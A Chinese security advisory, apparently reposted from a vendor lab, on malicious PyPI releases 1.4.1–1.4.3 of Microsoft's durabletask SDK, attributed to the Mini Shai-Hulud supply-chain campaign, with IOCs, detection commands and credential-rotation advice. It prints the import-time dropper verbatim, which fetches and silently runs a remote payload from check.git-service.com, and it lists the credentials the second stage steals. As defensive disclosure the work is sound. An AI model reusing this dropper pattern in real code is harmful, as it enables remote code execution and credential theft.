文章总结: 微软官方PythonSDKdurabletask在2026年5月20日被连续发布1.4.1至1.4.3三个恶意版本,攻击者通过窃取PyPI发布凭据伪造官方发版。该恶意包在导入时触发,下载第二阶段载荷窃取云平台密钥、KubernetesSecret等高权限凭据,属于MiniShai-Hulud家族持续性供应链攻击。文档提供了版本排查命令、主机痕迹检测方法及凭据轮换等处置建议。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,安全运营,云安全
Mini Shai-Hulud|微软 durabletask SDK 被投毒,下载量超百万
原创
墨菲安全实验室 墨菲安全实验室
墨菲安全实验室
2026年5月20日 11:13 北京
在小说阅读器读本章
去阅读
2026 年 5 月 20 日 0 点,墨菲安全检测出微软官方durabletask Python SDK 连续出现1.4.1、1.4.2、1.4.3三个恶意版本。durabletask是 Azure Durable Functions 相关的 Python 工作流编排 SDK,使用场景集中在云平台、Kubernetes、DevOps 和 AI Infra 这类高权限环境。这次事件中,攻击者拿到真实的 PyPI 发布凭据后,绕过代码仓库发布流程,直接伪造 “微软官方发布” 把恶意包推上了 PyPI。对企业来说,风险点不只是一个包被投毒,而是安装或导入该包的机器可能在几秒内丢失云平台密钥、Kubernetes Secret、Vault Token、GitHub Token、SSH 私钥以及 90 余类本地敏感文件。
一、事件简述
#
这次恶意发布集中发生在北京时间 2026 年 5 月 20 日 0 点 19分、49分和 54 分,35 分钟内连续上传三个版本:
[email protected][email protected][email protected]
三个版本都指向微软官方仓库microsoft/durabletask-python,但 GitHub 侧没有对应 tag、release,也没有当天触发过正式发布 workflow。最近一个正常 tag 是v1.4.0,最近一版合法 PyPI 发布也是1.4.0,发布时间为 2026 年 4 月 8 日。
也就是说,攻击者没有改微软仓库主线代码,而是直接拿发布能力在 PyPI 上做了 “脱离源码仓库的伪官方发版”。
这类事件比普通投毒更危险的地方在于信任外观几乎没变。包名没变,仓库链接没变,PyPI 页面看起来仍然像是微软自己的 SDK。很多团队会把这种包默认视作 “高可信官方依赖”,不会额外怀疑它在安装或导入阶段就开始执行恶意逻辑。
二、第一阶段:dropper payload
#
核心 dropper 代码有几个关键特点:
-
触发时机特殊 :它不是在
pip install阶段直接爆发,而是在 导入包时 触发。pip install durabletask阶段只有正常的 PyPI 访问;真正恶意行为 -
从
python -c "import durabletask"开始。 -
静默执行且持久化 :dropper 把二阶段载荷
rope.pyz下载到/tmp/managed.pyz后静默执行,标准输入输出全部重定向到/dev/null,并通过start_new_session=True与父进程脱钩。业务进程退出后,恶意进程仍能继续跑。 -
注入点不断扩大 :到
1.4.3时注入点已经扩展到 5 个文件,意味着只要应用代码、测试代码、CI 脚本通过不同路径导入durabletask,都更容易踩中载荷。
核心 dropper 代码:
if platform.system() == "Linux": try: urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz") with open(os.devnull, 'w') as f: subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True) except: pass
三、第二阶段:窃取信息 Payload
#
这是一个模块化的窃密与横向传播框架,它会窃取云与开发环境里的高价值凭据,包括:
- AWS Secrets Manager、SSM Parameter Store、访问凭据与受管实例信息
- Azure Key Vault 与本地 Azure 认证缓存
- GCP Secret Manager 与本地 ADC 凭据
- Kubernetes 各 context /namespace 下的 Secret
- HashiCorp Vault KV 数据
- 1Password、Bitwarden、
pass、gopass等密码管理器内容 ~/.ssh/、Docker 配置、.npmrc、.pypirc、Terraform state、VPN 配置、Shell 历史、.env文件- GitHub CLI 登录态与
gh auth token
这部分最值得警惕的是,它瞄准的是 “能直接拿到基础设施密钥” 的机器。一个前端包被投毒,影响常常停留在 npm token、GitHub token 或开发机本地文件;但durabletask这种 SDK 更常出现在工作流编排、云任务、自动化平台里,一旦中招,攻击者拿到的是企业云资源控制面。
二阶段恶意代码
#
四、事件特殊性分析
#
这次durabletask事件和普通 “维护者账号被盗发了个恶意版本” 不是一个
量级,主要有三个原因:
- 受害组件权限极高 :
durabletask的使用者很多不是普通 Python 入门项目,而是 Azure Durable Functions、云原生工作流、Kubernetes 控制任务、DevOps 自动化流程。这意味着一旦导入恶意包,被盗走的往往不是单个开发者 token,而是云平台级权限。 - 暴露发布信任链问题 :这次事件暴露的是 发布信任链 的问题,而不只是仓库代码安全。该项目仍然使用长期有效的
PYPI_API_TOKEN,并且同一个 secret 出现在多个 workflow 中,没有启用 PyPI Trusted Publishing,也没有可验证的 provenance。对外看,恶意版本和官方版本在 “来源展示” 上几乎没有区别。 - 属于持续性供应链攻击 :这条攻击链已经和 Mini Shai-Hulud 家族基础设施发生重合。
t.m-kosche.com出现在 IOC 中,该IOC和近期 TanStack、Mistral、LiteLLM、@antv等投毒事件吻合。这意味着它更像是 2026 年一系列持续性供应链攻击中的新落点,而不是一个孤立的 PyPI 事故。
#
五、处置建议
#
如果企业环境里装过durabletask,第一步不要只想着 “升级版本”,而是先确认有没有接触过恶意版本,以及是否已经执行过导入。
(一)版本排查
执行以下命令检查版本:
```
pip show durabletaskpython - <<'PY'import importlib.metadata as mprint(m.version("durabletask"))PY
如果命中以下任一版本,应按已失陷处理:
* 1.4.1
* 1.4.2
* 1.4.3
### (二)主机痕迹排查
ls -l /tmp/managed.pyz 2>/dev/nullfind ~/.cache -maxdepth 2 \( -name '.sys-update-check' -o -name '.sys-update-check-k8s' \) 2>/dev/nullfind ~/.config/systemd/user /etc/systemd/system -name 'pgsql-monitor.service' 2>/dev/nullps aux | grep -E 'managed.pyz|pgmonitor.py' | grep -v grep
### (三)网络侧 IOC 排查
rg -n 'check\.git-service\.com|t\.m-kosche\.com' /var/log 2>/dev/null
“`
(四)凭据轮换与审计
如果恶意版本曾在开发机、CI、容器镜像构建节点、Kubernetes Job 或云函数环境中导入过,建议立即轮换:
- AWS、Azure、GCP 访问凭据
- Kubernetes ServiceAccount token 与 kubeconfig
- Vault token 与 AppRole 凭据
- GitHub token、SSH 私钥、Docker registry 凭据
- 1Password、Bitwarden 等密码管理器主密码或会话
同时审计:
- AWS CloudTrail 中异常
GetSecretValue、GetParameter、SendCommand - Azure Activity Log 中异常 Secret 读取
- GCP Audit Log 中异常 Secret Manager 访问
- Kubernetes 审计日志中异常
kubectl exec或 Secret 枚举行为
(五)发布链路优化
对发布链路本身,后续至少要补三件事:
- 用 PyPI Trusted Publishing 替代长期有效 API Token。
- 收敛发布 secret 的使用范围,不要同一个 token 复用到多条 workflow。
- 对正式发布制品启用可验证 provenance,避免 “本地篡改后直接上传” 的情况继续伪装成官方发版。
六、IOC 信息
(一)文件 Hash
| 文件名 | 类型 | SHA256 值 | | — | — | — | | durabletask-1.4.1 | wheel | 7d80b3ef74ad7992b93c31966962612e4e2ceb93e7727cdbd1d2a9af47d44ba8 | | durabletask-1.4.1 | sdist | 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf | | durabletask-1.4.2 | wheel | aeaf583e20347bf850e2fabdcd6f4982996ba023f8c2cd56bbd299cfd56516f5 | | durabletask-1.4.2 | sdist | 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f | | durabletask-1.4.3 | wheel | 877ff2531a63393c4cb9c3c86908b62d9c4fc3db971bc231c48537faae6cb3ec | | durabletask-1.4.3 | sdist | c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc | | rope.pyz | – | 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce |
(二)域名与 URL
- check.git-service.com
- t.m-kosche.com
- https://check.git-service.com/rope.pyz
- https://check.git-service.com/api/public/version
- https://check.git-service.com/v1/models
(三)主机痕迹
/tmp/managed.pyzpgsql-monitor.service~/.cache/.sys-update-check~/.cache/.sys-update-check-k8s/usr/bin/pgmonitor.py~/.local/bin/pgmonitor.py
企业级漏洞及投毒治理实践扫码领取:
部分典型客户
七大产品矩阵
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:墨菲安全实验室 墨菲安全实验室 墨菲安全实验室《Mini Shai-Hulud|微软 durabletask SDK 被投毒,下载量超百万》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论